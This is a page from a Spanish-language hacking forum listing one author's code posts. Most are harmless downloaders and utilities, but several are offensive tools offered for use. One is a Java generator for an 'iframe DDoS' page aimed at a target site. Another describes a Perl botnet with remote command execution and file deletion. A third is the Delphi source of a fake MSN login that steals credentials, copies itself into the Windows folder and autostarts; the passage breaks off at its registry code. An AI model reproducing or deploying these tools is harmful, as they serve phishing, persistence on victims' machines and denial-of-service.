elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Temas
Páginas: 1 ... 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [21] 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ... 43
201  Programación / Java / [Java] URL Shorter 0.1 en: 12 Enero 2013, 03:11 am
Un simple programa para cortar urls.

Código
  1. /**
  2.  * URL Shorter 0.1
  3.  * Coded By Doddy H
  4.  */
  5.  
  6. import java.util.Scanner;
  7. import java.net.*;
  8. import java.io.*;
  9.  
  10. public class Main {
  11.    public static void main(String[] args) throws Exception {
  12.  
  13.      String pagina;
  14.      String re;
  15.  
  16.      Scanner host = new Scanner(System.in);
  17.      System.out.println("\n\n-- == URL Shorter 0.1 == --\n\n");
  18.      System.out.println("[+] Page : ");
  19.      pagina = host.nextLine();
  20.  
  21.      URL cargar = new URL("http://tinyurl.com/api-create.php?url="+pagina);
  22.      BufferedReader nave = new BufferedReader(
  23.      new InputStreamReader(cargar.openStream()));
  24.  
  25.      while ((re = nave.readLine()) != null)
  26.        System.out.println("\n[+] Link : "+re);
  27.      nave.close();
  28.  
  29.      System.out.println("\n\n-- == Coded By Doddy H == --");
  30.    }
  31. }
  32.  
  33. /**
  34.  * The End ?
  35.  */
  36.  
202  Programación / Java / [Java] Iframe DDOS en: 12 Enero 2013, 03:11 am
Un simple poc para iframe ddos.

Código
  1. /**
  2.  * Iframe DDOS 0.1
  3.  * Coded By Doddy H
  4.  */
  5.  
  6. import java.util.Scanner;
  7. import java.net.*;
  8. import java.io.*;
  9.  
  10. public class Main {
  11.    public static void main(String[] args) throws IOException{
  12.  
  13.      String pagina;
  14.      int cantidad;
  15.      int y;
  16.  
  17.      FileOutputStream fos;
  18.      DataOutputStream dos;
  19.  
  20.      Scanner host = new Scanner(System.in);
  21.      System.out.println("\n\n-- == Iframe DDOS 0.1 == --\n\n");
  22.      System.out.println("[+] Page : ");
  23.      pagina = host.nextLine();
  24.      System.out.println("[+] Count : ");
  25.      cantidad = host.nextInt();
  26.  
  27.      FileWriter ar=new FileWriter("poc.html");
  28.      BufferedWriter go=new BufferedWriter(ar);
  29.      PrintWriter archivo=new PrintWriter(go);
  30.  
  31.      for (y=1;y<=cantidad;y++){
  32.        archivo.println("<iframe src='"+pagina+"' width='3' height='3'></iframe><br>");
  33.      }
  34.      archivo.close();
  35.      System.out.println("\n[+] All done ...");
  36.      System.out.println("\n\n-- == Coded By Doddy H == --");
  37.    }
  38. }
  39.  
  40. /**
  41.  * The End ?
  42.  */
  43.  
203  Programación / Scripting / El script navideño en: 24 Diciembre 2012, 14:56 pm
Ja , como regalo de navidad les dejo el script navideño xDDD.

El codigo

Código
  1. #!usr/bin/perl
  2. #El script navideño
  3. #Coded By Doddy H
  4.  
  5. while(true) {
  6.  
  7. my($dia,$mes,$año,$hora,$minutos,$segundos) = agarrate_la_hora();
  8.  
  9. unless($dia eq "25" and $mes eq "12") {
  10. syswrite STDOUT,"[+] Fecha y hora : $dia/$mes/$año $hora:$minutos:$segundos \r";
  11. } else {
  12. syswrite STDOUT,"\n\n[+] Feliz navidad !";
  13. <stdin>;
  14. exit(1);
  15. }
  16.  
  17. }
  18.  
  19. sub agarrate_la_hora {
  20.  
  21. my ($a,$b,$c,$d,$e,$f,$g,$h,$i) = localtime(time);
  22.  
  23. $f+= 1900;
  24. $e++;
  25.  
  26. return($d,$e,$f,$c,$b,$a);
  27.  
  28. }
  29.  
  30. #The End ?
  31.  
204  Programación / Scripting / [Perl Tk] Project DH Botnet 0.2 en: 8 Diciembre 2012, 14:12 pm
Bueno , siempre quize hacer una botnet en Perl , logre programar una bien basica que tiene las siguientes opciones :

  • Ejecucion de comandos
  • Simple GetIP
  • Listar procesos activos
  • Matar procesos
  • Listar archivos de un directorio
  • Borrar un archivo o directorio cualquiera
  • Leer archivos
  • Abrir y cerrar lectora
  • Ocultar y mostrar programas del escritorio
  • Ocultar y mostrar Taskbar
  • Mandar mensajitos molestos
  • Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
  • Hacer que el teclado escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla

Para usar esta botnet necesitan un hosting que permita PHP y Mysql.

Una imagen del generador :



Otra imagen de la botnet en accion :



El codigo lo pueden encontrar aca.
205  Programación / Scripting / [Perl] SMF Manager 0.1 en: 7 Diciembre 2012, 19:03 pm
Traduccion a Perl (mega buggeada) del script que hizo Javier de PortalHacker para poder leer los mensajes privados y listar las categorias de un foro SMF.

El codigo

Código
  1. #!usr/bin/perl
  2. #SMF Manager 0.00001
  3. #Coded By Doddy H
  4.  
  5. #ppm install http://www.bribes.org/perl/ppm/HTML-Strip.ppd
  6.  
  7. use LWP::UserAgent;
  8. use HTTP::Cookies;
  9.  
  10. use HTML::Strip;
  11.  
  12. my $nave = LWP::UserAgent->new(
  13.    cookie_jar            => HTTP::Cookies->new(),
  14.    requests_redirectable => [],
  15.    timeout               => 5,
  16.    agent =>
  17. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  18. );
  19.  
  20.  @@@   @     @  @@@@@    @     @                                  
  21. @   @  @     @  @        @     @                                  
  22. @      @@   @@  @        @@   @@                                  
  23. @      @@   @@  @        @@   @@   @@@  @ @@   @@@   @@@@  @@@  @@
  24.  @@@   @ @ @ @  @@@@     @ @ @ @      @ @@  @     @ @   @ @   @ @
  25.     @  @ @ @ @  @        @ @ @ @   @@@@ @   @  @@@@ @   @ @@@@@ @
  26.     @  @  @  @  @        @  @  @  @   @ @   @ @   @ @   @ @     @
  27. @   @  @  @  @  @        @  @  @  @   @ @   @ @   @ @   @ @   @ @
  28.  @@@   @     @  @        @     @   @@@@ @   @  @@@@  @@@@  @@@  @
  29.                                                         @        
  30.                                                     @@@@          
  31.  
  32. );
  33.  
  34. print "\n\n[+] Page : ";
  35. chomp( my $url = <stdin> );
  36.  
  37. print "\n[+] Username : ";
  38. chomp( my $usera = <stdin> );
  39.  
  40. print "\n[+] Password : ";
  41. chomp( my $passa = <stdin> );
  42.  
  43. ## Login
  44.  
  45. print "\n[+] Connecting ....\n\n";
  46.  
  47. my $code = $nave->post(
  48.    $url . "/index.php?action=login2",
  49.    {
  50.        "user"         => $usera,
  51.        "passwrd"      => $passa,
  52.        "cookielength" => "9000",
  53.        "hash_passwrd" => "",
  54.        "submit"       => "submit"
  55.    }
  56. );
  57.  
  58. if ( $code->is_redirect ) {
  59.  
  60.    #print $code->header('location'),"\n";
  61. }
  62. elsif ( $code->is_success ) {
  63.    print $code->as_string, "\n";
  64. }
  65. else {
  66.    print STDERR $code->status_line, "\n";
  67. }
  68.  
  69. my $code = toma( $url . "/SSI.php?ssi_function=welcome" );
  70.  
  71. if ( $code =~ /Hola, <strong>(.*)<\/strong>/ ) {
  72.    my $name = $1;
  73.    print "[+] Welcome $name\n";
  74. }
  75. else {
  76.    print "[-] Error\n";
  77. }
  78.  
  79. ##
  80.  
  81. while (1) {
  82.  
  83.    print "\n[+] Options\n\n";
  84.  
  85.    print "1 - See MP\n";
  86.    print "2 - Navegate\n";
  87.    print "3 - Exit\n";
  88.  
  89.    print "\n[+] Option : ";
  90.    chomp( my $op = <stdin> );
  91.  
  92.    if ( $op eq "3" ) {
  93.        exit(1);
  94.    }
  95.  
  96.    if ( $op eq "1" ) {
  97.  
  98.        print qq(
  99. @     @  @@@@@
  100. @     @  @    @
  101. @@   @@  @    @
  102. @@   @@  @    @
  103. @ @ @ @  @@@@@
  104. @ @ @ @  @    
  105. @  @  @  @    
  106. @  @  @  @    
  107. @     @  @    
  108.  
  109. );
  110.  
  111.        mps($url);
  112.    }
  113.  
  114.    if ( $op eq "2" ) {
  115.        print qq(
  116. @    @                                        
  117. @@   @                                @      
  118. @@   @                                @      
  119. @ @  @   @@@  @   @  @@@   @@@@  @@@  @@  @@@
  120. @ @  @      @ @   @ @   @ @   @     @ @  @   @
  121. @  @ @   @@@@  @ @  @@@@@ @   @  @@@@ @  @@@@@
  122. @   @@  @   @  @ @  @     @   @ @   @ @  @    
  123. @   @@  @   @   @   @   @ @   @ @   @ @  @   @
  124. @    @   @@@@   @    @@@   @@@@  @@@@  @  @@@
  125.                               @              
  126.                           @@@@                
  127.  
  128.  
  129. );
  130.  
  131.        my $chau2 = 0;
  132.  
  133.        while ( $chau2 eq 0 ) {
  134.  
  135.            print "\n[+] 1 - List Categories\n";
  136.            print "[+] 2 - Exit\n";
  137.  
  138.            print "\n[+] Option : ";
  139.            chomp( my $op = <stdin> );
  140.  
  141.            if ( $op eq "1" ) {
  142.  
  143.                print "\n[+] Searching ...\n\n";
  144.  
  145.                my $code = toma($url);
  146.  
  147.                while ( $code =~
  148. /<a class=\"subject\" href=\"(.*?)\" name=(.*?)>(.*?)<\/a>/migs
  149.                  )
  150.                {
  151.                    print "[+] ID : $2 [+] Name : $3\n";
  152.                }
  153.  
  154.            }
  155.            else {
  156.                $chau2 = 1;
  157.            }
  158.  
  159.        }
  160.  
  161.    }
  162.  
  163. }
  164.  
  165. #gets_list_mp();
  166. #gets_msg_mp();
  167. #gets_msg_now();
  168.  
  169. sub mps {
  170.  
  171.    my $url = shift;
  172.  
  173.    my $chau = "0";
  174.  
  175.    print "\n[+] Searching pages ..\n";
  176.  
  177.    my @founds = gets_list_mp($url);
  178.  
  179.    my $count = int(@founds);
  180.  
  181.    print "\n[+] Pages Found : $count\n";
  182.  
  183.    while ( $chau eq 0 ) {
  184.  
  185.        print "\n[+] 1 - Get List Messages\n";
  186.        print "[+] 2 - Read Message\n";
  187.        print "[+] 3 - Exit\n";
  188.  
  189.        print "\n[+] Option : ";
  190.        chomp( my $op = <stdin> );
  191.  
  192.        if ( $op eq "1" ) {
  193.  
  194.            print "\n[+] Number Page : ";
  195.            chomp( my $op = <stdin> );
  196.  
  197.            print "\n[+] Searching ..\n";
  198.  
  199.            gets_msg_mp( $founds[ $op - 1 ] );
  200.  
  201.        }
  202.        elsif ( $op eq "2" ) {
  203.  
  204.            print "\n[+] Number Page : ";
  205.            chomp( my $n = <stdin> );
  206.  
  207.            print "\n[+] ID : ";
  208.            chomp( my $id = <stdin> );
  209.  
  210.            print "\n[+] Reading ...\n";
  211.  
  212.            gets_msg_now( $founds[ $n - 1 ], $id );
  213.  
  214.        }
  215.        else {
  216.            $chau = 1;
  217.        }
  218.  
  219.    }
  220. }
  221.  
  222. sub gets_msg_now {
  223.  
  224.    my $url = toma( $_[0] );
  225.  
  226.    my $id = "msg_" . $_[1];
  227.  
  228.    if ( $url =~ /<div class=\"inner\" id=\"$id\">(.*?)<\/div>/mig ) {
  229.  
  230.        my $uno = HTML::Strip->new( emit_spaces => 1 );
  231.        my $final = $uno->parse($1);
  232.        $final =~ s/^[\t\f ]+|[\t\f ]+$//mg;
  233.  
  234.        print "\n[START]\n\n";
  235.        print $final;
  236.        print "\n\n[END]\n\n";
  237.  
  238.    }
  239.  
  240. }
  241.  
  242. sub gets_msg_mp {
  243.  
  244.    my $url = toma( $_[0] );
  245.  
  246.    my @ids;
  247.    my @asunto;
  248.    my @nombre;
  249.  
  250.    while ( $url =~ /<td><a href=\"#msg(.*?)\">(.*?)<\/a><\/td>/migs ) {
  251.  
  252.        #print "$1 $2\n";
  253.        push( @ids,    $1 );
  254.        push( @asunto, $2 );
  255.    }
  256.  
  257.    while ( $url =~ /Ver perfil de (.*?)">/migs ) {
  258.  
  259.        #print "$1\n\n";
  260.        push( @nombre, $1 );
  261.    }
  262.  
  263.    my $total = int(@ids) - 1;
  264.  
  265.    for my $num ( 0 .. $total ) {
  266.        print "[+] ID : "
  267.          . $ids[$num]
  268.          . " [+] Asunto : "
  269.          . $asunto[$num]
  270.          . " [+] De : "
  271.          . $nombre[$num] . "\n";
  272.    }
  273.  
  274. }
  275.  
  276. sub gets_list_mp {
  277.  
  278.    my $url = shift;
  279.  
  280.    my @paginas;
  281.    my $code = toma( $url . "/index.php?action=pm" );
  282.  
  283.    push( @paginas, $url . "/index.php?action=pm" );
  284.  
  285.    while ( $code =~ /<a class="navPages" href="(.*?)">(.*?)<\/a>/migs ) {
  286.        push( @paginas, $1 );
  287.    }
  288.  
  289.    my @paginas = repes(@paginas);
  290.  
  291.    return @paginas;
  292.  
  293. }
  294.  
  295. sub repes {
  296.    my @limpio;
  297.    foreach $test (@_) {
  298.        push @limpio, $test unless $repe{$test}++;
  299.    }
  300.    return @limpio;
  301. }
  302.  
  303. sub toma {
  304.    return $nave->get( $_[0] )->content;
  305. }
  306.  
  307. sub tomar {
  308.    my ( $web, $var ) = @_;
  309.    return $nave->post( $web, [ %{$var} ] )->content;
  310. }
  311.  
  312. #The End ?
  313.  

AVISO : Solo esta probado en el foro  spam portalhacker spam .  
206  Programación / Scripting / [Python] MP3 Downloader 0.1 en: 28 Noviembre 2012, 16:09 pm
Traduccion a Python de este simple script para buscar y bajar musica.

El codigo

Código
  1. #!usr/bin/python
  2. #MP3 Downloader 0.1
  3. #Coded By Doddy H
  4.  
  5. import sys,urllib,urllib2,re,os,urlparse
  6.  
  7. def toma(web) :
  8. nave = urllib2.Request(web)
  9. nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  10. op = urllib2.build_opener()
  11. return op.open(nave).read()
  12.  
  13. def clean():
  14. if sys.platform=="win32":
  15.  os.system("cls")
  16. else:
  17.  os.system("clear")
  18.  
  19. def head():
  20. print """
  21.  
  22. @     @  @@@@@   @@@     @@@@     @@@@  @         @ @    @
  23. @     @  @    @ @   @    @   @   @    @ @         @ @@   @
  24. @@   @@  @    @     @    @    @  @    @  @   @   @  @@   @
  25. @@   @@  @    @     @    @    @  @    @  @   @   @  @ @  @
  26. @ @ @ @  @@@@@    @@     @    @  @    @  @   @   @  @ @  @
  27. @ @ @ @  @          @    @    @  @    @   @ @ @ @   @  @ @
  28. @  @  @  @          @    @    @  @    @   @ @ @ @   @   @@
  29. @  @  @  @      @   @    @   @   @    @    @   @    @   @@
  30. @     @  @       @@@     @@@@     @@@@     @   @    @    @
  31.  
  32.  
  33.  
  34.  
  35.                              Coded By Doddy H
  36.  
  37.  
  38. """
  39.  
  40. def copyright():
  41. print "\n\n(C) Doddy Hackman 2012\n"
  42. raw_input()
  43. sys.exit(1)
  44.  
  45. def proxar(a,b,c):
  46. sys.stdout.write("\r[+] Status : %s / %s" % (a * b,c))
  47.  
  48. def down(file,filesave):
  49. print "\n[+] File to download : "+filesave+"\n"
  50. try:
  51.  urllib.urlretrieve(file,filesave,reporthook=proxar)
  52. except:
  53.  print "\n[-] Error\n"
  54.  copyright()
  55. print "\n\n[+] File Download in "+os.curdir+"/"+filesave
  56.  
  57. def buscar(titulo) :
  58.  
  59. songs = []
  60. datas =[]
  61. links = []
  62. datas_back = []
  63. links_back = []
  64.  
  65. titulo = re.sub(" ","_",titulo)
  66.  
  67. print "\n\n[+] Searching ...\n"
  68.  
  69. code = toma("http://mp3skull.com/mp3/"+titulo+".html")
  70.  
  71. if not (re.findall("Sorry, no results found for",code)):
  72.  
  73.  songs = re.findall("<div style=\"font-size:15px;\"><b>(.*)<\/b><\/div>",code)
  74.  datas_back = re.findall("<!-- info mp3 here -->\s+(.*?)<\/div>",code)
  75.  links_back = re.findall("<a href=\"(.*)\.mp3\"",code)
  76.  
  77.  for datac in datas_back :
  78.   datac = re.sub("<br />"," ",datac)
  79.   datas.append(datac)
  80.  
  81.  for li in links_back :
  82.   lic = li+".mp3"
  83.   links.append(lic)
  84.  
  85.  try:
  86.   for counter in range(0,len(songs)):
  87.    print "\n[Song "+str(counter)+"] : "+songs[counter]
  88.    print "[Data] : "+datas[counter]
  89.    print "[Link] : "+links[counter]
  90.  
  91.  except:
  92.   pass
  93.  
  94.  while 1:
  95.  
  96.   print "\n[+] Options\n"
  97.   print "[+] 1 - Download"
  98.   print "[+] 2 - Search"
  99.   print "[+] 3 - Exit\n"
  100.  
  101.   op = raw_input("[+] Option : ")
  102.  
  103.   if op  == "3":
  104.    print "\n\n[+] Finished\n"
  105.    copyright()  
  106.  
  107.   if op == "2":
  108.    party()
  109.  
  110.   if op == "1":
  111.    num = input("\n[?] Number :")
  112.    down(links[num],os.path.basename(links[num]))
  113.  
  114. else:
  115.  print "\n[-] Not Found\n";
  116.  raw_input()
  117.  party()
  118.  
  119. def party():
  120.  
  121. clean()
  122. head()
  123.  
  124. bs = raw_input("\n\n[?] Song : ")
  125.  
  126. buscar(bs)
  127.  
  128. ##
  129.  
  130. if not os.path.isdir("mp3_downloads"):
  131. os.makedirs("mp3_downloads")
  132.  
  133. os.chdir("mp3_downloads")
  134.  
  135. party()
  136.  
  137. ##
  138.  
  139. #The End ?
  140.  
207  Programación / Scripting / [Perl] MP3 Downloader 0.1 en: 27 Noviembre 2012, 15:53 pm
Hice este simple script para buscar y bajar musica.

El codigo

Código
  1. #!usr/bin/perl
  2. #MP3 Downloader 0.1
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6. use URI::Split qw(uri_split);
  7. use Time::HiRes "usleep";
  8.  
  9. my $nave = LWP::UserAgent->new;
  10. $nave->agent(
  11. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  12. );
  13. $nave->timeout(5);
  14.  
  15. my $se = "downloads_mp3";
  16.  
  17. unless ( -d $se ) {
  18.    mkdir( $se, "777" );
  19. }
  20.  
  21. chdir $se;
  22.  
  23. head();
  24.  
  25. print "[?] Song : ";
  26. chomp( my $song = <stdin> );
  27.  
  28. $song =~ s/ /-/;
  29.  
  30. print "\n[+] Searching ...\n\n";
  31.  
  32. my $code = toma( "http://mp3skull.com/mp3/" . $song . ".html" );
  33.  
  34. chomp $code;
  35.  
  36. if ( $code =~ /Sorry, no results found for/ ) {
  37.    print "\n[-] Not Found\n";
  38.    copyright();
  39. }
  40.  
  41. my @nombres;
  42. my @datas;
  43. my @links;
  44.  
  45. while ( $code =~ /<div style="font-size:15px;"><b>(.*)<\/b><\/div>/mig ) {
  46.    my $nombre = $1;
  47.  
  48.    #print "name : $nombre\n";
  49.    push( @nombres, $nombre );
  50. }
  51.  
  52. while ( $code =~ /<!-- info mp3 here -->\s+(.*?)<\/div>/migs ) {
  53.    my $data = $1;
  54.    $data =~ s/<br \/>/ /;
  55.    $data =~ s/<br \/>/ /;
  56.  
  57.    #print "data : $data\n";
  58.    push( @datas, $data );
  59. }
  60.  
  61. while ( $code =~ /<a href=\"(.*)\.mp3\"/mig ) {
  62.    my $link = $1 . ".mp3";
  63.  
  64.    #print "link : $link\n";
  65.    push( @links, $link );
  66. }
  67.  
  68. my $encontrados = int(@nombres) - 1;
  69.  
  70. for my $aca ( 0 .. $encontrados ) {
  71.    print "[Song $aca] : $nombres[$aca]\n";
  72.    print "[Data] : $datas[$aca]\n";
  73.    print "[Link] : $links[$aca]\n\n";
  74. }
  75.  
  76. print "\n[?] Number : ";
  77. chomp( my $number = <stdin> );
  78.  
  79. print "\n[+] Downloading ...\n";
  80.  
  81. now( $links[$number] );
  82.  
  83. print "\n[+] Finished\n";
  84.  
  85. copyright();
  86.  
  87. sub head {
  88.  
  89.    my @logo = (
  90.        "#=============================================#", "\n",
  91.        "#             MP3 Downloader 0.1              #", "\n",
  92.        "#---------------------------------------------#", "\n",
  93.        "# Written By Doddy H                          #", "\n",
  94.        "# Email: lepuke[at]hotmail[com]               #", "\n",
  95.        "# Website: doddyhackman.webcindario.com       #", "\n",
  96.        "#---------------------------------------------#", "\n",
  97.        "# The End ?                                   #", "\n",
  98.        "#=============================================#", "\n"
  99.    );
  100.  
  101.    print "\n";
  102.  
  103.    marquesina(@logo);
  104.  
  105.    print "\n\n";
  106.  
  107. }
  108.  
  109. sub copyright {
  110.  
  111.    my @fin = ("-- == (C) Doddy Hackman 2012 == --");
  112.  
  113.    print "\n\n";
  114.    marquesina(@fin);
  115.    print "\n\n";
  116.  
  117.    <stdin>;
  118.  
  119.    exit(1);
  120.  
  121. }
  122.  
  123. sub marquesina {
  124.  
  125.    #Effect based in the exploits by Jafer Al Zidjali
  126.  
  127.    my @logo = @_;
  128.  
  129.    my $car = "|";
  130.  
  131.    for my $uno (@logo) {
  132.        for my $dos ( split //, $uno ) {
  133.  
  134.            $|++;
  135.  
  136.            if ( $car eq "|" ) {
  137.                mostrar( "\b" . $dos . $car, "/" );
  138.            }
  139.            elsif ( $car eq "/" ) {
  140.                mostrar( "\b" . $dos . $car, "-" );
  141.            }
  142.            elsif ( $car eq "-" ) {
  143.                mostrar( "\b" . $dos . $car, "\\" );
  144.            }
  145.            else {
  146.                mostrar( "\b" . $dos . $car, "|" );
  147.            }
  148.            usleep(40_000);
  149.        }
  150.        print "\b ";
  151.    }
  152.  
  153.    sub mostrar {
  154.        print $_[0];
  155.        $car = $_[1];
  156.    }
  157.  
  158. }
  159.  
  160. sub now {
  161.  
  162.    my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
  163.  
  164.    if ( $path =~ /(.*)\/(.*)$/ ) {
  165.        my $file = $2;
  166.        if ( download( $_[0], $file ) ) {
  167.        }
  168.    }
  169. }
  170.  
  171. sub download {
  172.    if ( $nave->mirror( $_[0], $_[1] ) ) {
  173.        if ( -f $_[1] ) {
  174.            return true;
  175.        }
  176.    }
  177. }
  178.  
  179. sub toma {
  180.    return $nave->get( $_[0] )->content;
  181. }
  182.  
  183. #The End ?
  184.  

Un ejemplo de uso

Código:

#=============================================#
#             MP3 Downloader 0.1              #
#---------------------------------------------#
# Written By Doddy H                          #
# Email: lepuke[at]hotmail[com]               #
# Website: doddyhackman.webcindario.com       #
#---------------------------------------------#
# The End ?                                   #
#=============================================#


[?] Song : bones now

[+] Searching ...

[Song 0] : Discovery Now - bionic bones mp3
[Data] : 256 kbps 1:30 2.79 mb
[Link] : http://www.whro.org/home/html/podcasts/discoverynow/041408.mp3

[Song 1] : Sean Bones - 'Here Now' mp3
[Data] : 128 kbps 3:28 3.19 mb
[Link] : http://serve.castfire.com/audio/878039/sean-bones-here-now_2012-02-23-1
74939.128.mp3

[Song 2] : Discovery Now - bionic bones mp3
[Data] : 256 kbps  00:01:30 2.8 mb
[Link] : http://whro.org/home/html/podcasts/discoverynow/041408.mp3

[Song 3] : Sean Bones - Here Now mp3
[Data] : 5.02 mb
[Link] : http://www.hulkshare.com/dl/4t42l4kxi811/sean_bones_-_here_now.mp3

[Song 4] : Fuego Ft. Amara - Lo Que Quiero (Prod. By Bones, Now & Laterz) (Www.S
tiloCaro.Com) mp3
[Data] : 4.43 mb
[Link] : http://www.hulkshare.com/dl/w86wxq8bl0n4/fuego_ft._amara_-_lo_que_quier
o_%28prod._by_bones%2c_now_%26_laterz%29.mp3

[Song 5] : Sean Bones - Here Now mp3
[Data] : 160 kbps 3:27 3.95 mb
[Link] : http://myspoonful.com/wp-content/uploads/Sean-Bones-Here-Now.mp3

[Song 6] : Frankie Bones - Bonesbreaks Vol. 2 (B2) On The Beat Now-freestyle na
veia mp3
[Data] : 4:40 mins 6.41 mb
[Link] : http://dc203.4shared.com/img/564370108/97ff8470/dlink__2Fdownload_2FS4X
eLchH_3Ftsid_3D20121127-94941-8934f180/preview.mp3


[?] Number : 1

[+] Downloading ...

[+] Finished


-- == (C) Doddy Hackman 2012 == --

208  Programación / Scripting / [Perl] FindIcons 0.1 en: 25 Noviembre 2012, 23:24 pm
Un simple script para bajar los iconos que quieran , los iconos bajados se guardan en un carpeta con el nombre buscado.

Código
  1. #!usr/bin/perl
  2. #FindIcons 0.1
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6. use URI::Split qw(uri_split);
  7. use Time::HiRes "usleep";
  8.  
  9. my $nave = LWP::UserAgent->new;
  10. $nave->agent(
  11. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  12. );
  13. $nave->timeout(5);
  14.  
  15. head();
  16.  
  17. print "[?] Search : ";
  18. chomp( my $se = <stdin> );
  19.  
  20. $se =~ s/ /-/;
  21.  
  22. my $code = toma( "http://findicons.com/search/" . $se );
  23.  
  24. if ( $code =~ /<div class="box_info left">(.*)<\/div>/ ) {
  25.    print "\n[+] $1\n";
  26.  
  27.    unless ( -d $se ) {
  28.        mkdir( $se, "777" );
  29.    }
  30.  
  31.    chdir $se;
  32.  
  33. }
  34. else {
  35.    print "\n[-] Not Found\n";
  36.    copyright();
  37. }
  38.  
  39. print "\n[?] Pages : ";
  40.  
  41. chomp( my $pages = <stdin> );
  42.  
  43. print "\n[+] Downloading ...\n\n";
  44.  
  45. for my $pages ( 1 .. $pages ) {
  46.  
  47.    my $code = toma("http://findicons.com/search/$se/$pages");
  48.  
  49.    while ( $code =~
  50.        /<img src="http:\/\/png-(.*).findicons.com\/files\/(.*)" alt/mig )
  51.    {
  52.        my $link = "http://png-" . $1 . ".findicons.com/files/" . $2;
  53.  
  54.        now($link);
  55.  
  56.    }
  57.  
  58. }
  59.  
  60. print "[+] Finished ...\n";
  61.  
  62. copyright();
  63.  
  64. sub head {
  65.  
  66.    my @logo = (
  67.        "#=============================================#", "\n",
  68.        "#              FindIcons 0.1                  #", "\n",
  69.        "#---------------------------------------------#", "\n",
  70.        "# Written By Doddy H                          #", "\n",
  71.        "# Email: lepuke[at]hotmail[com]               #", "\n",
  72.        "# Website: doddyhackman.webcindario.com       #", "\n",
  73.        "#---------------------------------------------#", "\n",
  74.        "# The End ?                                   #", "\n",
  75.        "#=============================================#", "\n"
  76.    );
  77.  
  78.    print "\n";
  79.  
  80.    marquesina(@logo);
  81.  
  82.    print "\n\n";
  83.  
  84. }
  85.  
  86. sub copyright {
  87.  
  88.    my @fin = ("-- == (C) Doddy Hackman 2012 == --");
  89.  
  90.    print "\n\n";
  91.    marquesina(@fin);
  92.    print "\n\n";
  93.  
  94.    <stdin>;
  95.  
  96.    exit(1);
  97.  
  98. }
  99.  
  100. sub marquesina {
  101.  
  102.    #Effect based in the exploits by Jafer Al Zidjali
  103.  
  104.    my @logo = @_;
  105.  
  106.    my $car = "|";
  107.  
  108.    for my $uno (@logo) {
  109.        for my $dos ( split //, $uno ) {
  110.  
  111.            $|++;
  112.  
  113.            if ( $car eq "|" ) {
  114.                mostrar( "\b" . $dos . $car, "/" );
  115.            }
  116.            elsif ( $car eq "/" ) {
  117.                mostrar( "\b" . $dos . $car, "-" );
  118.            }
  119.            elsif ( $car eq "-" ) {
  120.                mostrar( "\b" . $dos . $car, "\\" );
  121.            }
  122.            else {
  123.                mostrar( "\b" . $dos . $car, "|" );
  124.            }
  125.            usleep(40_000);
  126.        }
  127.        print "\b ";
  128.    }
  129.  
  130.    sub mostrar {
  131.        print $_[0];
  132.        $car = $_[1];
  133.    }
  134.  
  135. }
  136.  
  137. sub now {
  138.  
  139.    my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
  140.  
  141.    if ( $path =~ /(.*)\/(.*)$/ ) {
  142.        my $file = $2;
  143.        if ( download( $_[0], $file ) ) {
  144.        }
  145.    }
  146. }
  147.  
  148. sub download {
  149.    if ( $nave->mirror( $_[0], $_[1] ) ) {
  150.        if ( -f $_[1] ) {
  151.            return true;
  152.        }
  153.    }
  154. }
  155.  
  156. sub toma {
  157.    return $nave->get( $_[0] )->content;
  158. }
  159.  
  160. #The End ?
  161.  
209  Programación / Programación General / [Delphi] Fake MSN 0.2 en: 21 Noviembre 2012, 18:18 pm
Aca les traigo la nueva version de este Fake MSN hecho en delphi.

Con las siguientes opciones :

  • El programa al cargarse se mueve automaticamente a la carpeta de windows
  • El programa se ejecuta cuando Windows se inicia
  • Se ocultan los archivos relacionados al programa
  • Con poner "doddy" en user y "hackman" en pass en el programa se cargan los logs ocultos

Una imagen



El codigo

Código
  1. {
  2. Fake MSN 0.2
  3. Coded By Doddy H
  4. }
  5.  
  6. unit fake;
  7.  
  8. interface
  9.  
  10. uses
  11.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  12.  Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;
  13.  
  14. type
  15.  TForm1 = class(TForm)
  16.    Image1: TImage;
  17.    Edit1: TEdit;
  18.    Edit2: TEdit;
  19.    Image2: TImage;
  20.    procedure Edit1Click(Sender: TObject);
  21.    procedure Edit2Click(Sender: TObject);
  22.    procedure FormCreate(Sender: TObject);
  23.    procedure Image2Click(Sender: TObject);
  24.  private
  25.    { Private declarations }
  26.  public
  27.    { Public declarations }
  28.  end;
  29.  
  30. var
  31.  Form1: TForm1;
  32.  
  33. implementation
  34.  
  35. {$R *.dfm}
  36.  
  37. procedure TForm1.Edit1Click(Sender: TObject);
  38. begin
  39.  Edit1.Text := '';
  40. end;
  41.  
  42. procedure TForm1.Edit2Click(Sender: TObject);
  43. begin
  44.  Edit2.Text := '';
  45.  Edit2.PasswordChar := '*';
  46. end;
  47.  
  48. procedure TForm1.FormCreate(Sender: TObject);
  49.  
  50. var nombrereal: string;
  51.  rutareal: string;
  52.  yalisto: string;
  53.  her: TRegistry;
  54.  
  55. begin
  56.  
  57.  nombrereal := ExtractFileName(ParamStr(0));
  58.  rutareal := ParamStr(0);
  59.  yalisto := 'C:\WINDOWS\' + nombrereal;
  60.  
  61.  MoveFile(Pchar(rutareal), Pchar(yalisto));
  62.  
  63.  her := TRegistry.Create;
  64.  her.RootKey := HKEY_LOCAL_MACHINE;
  65.  
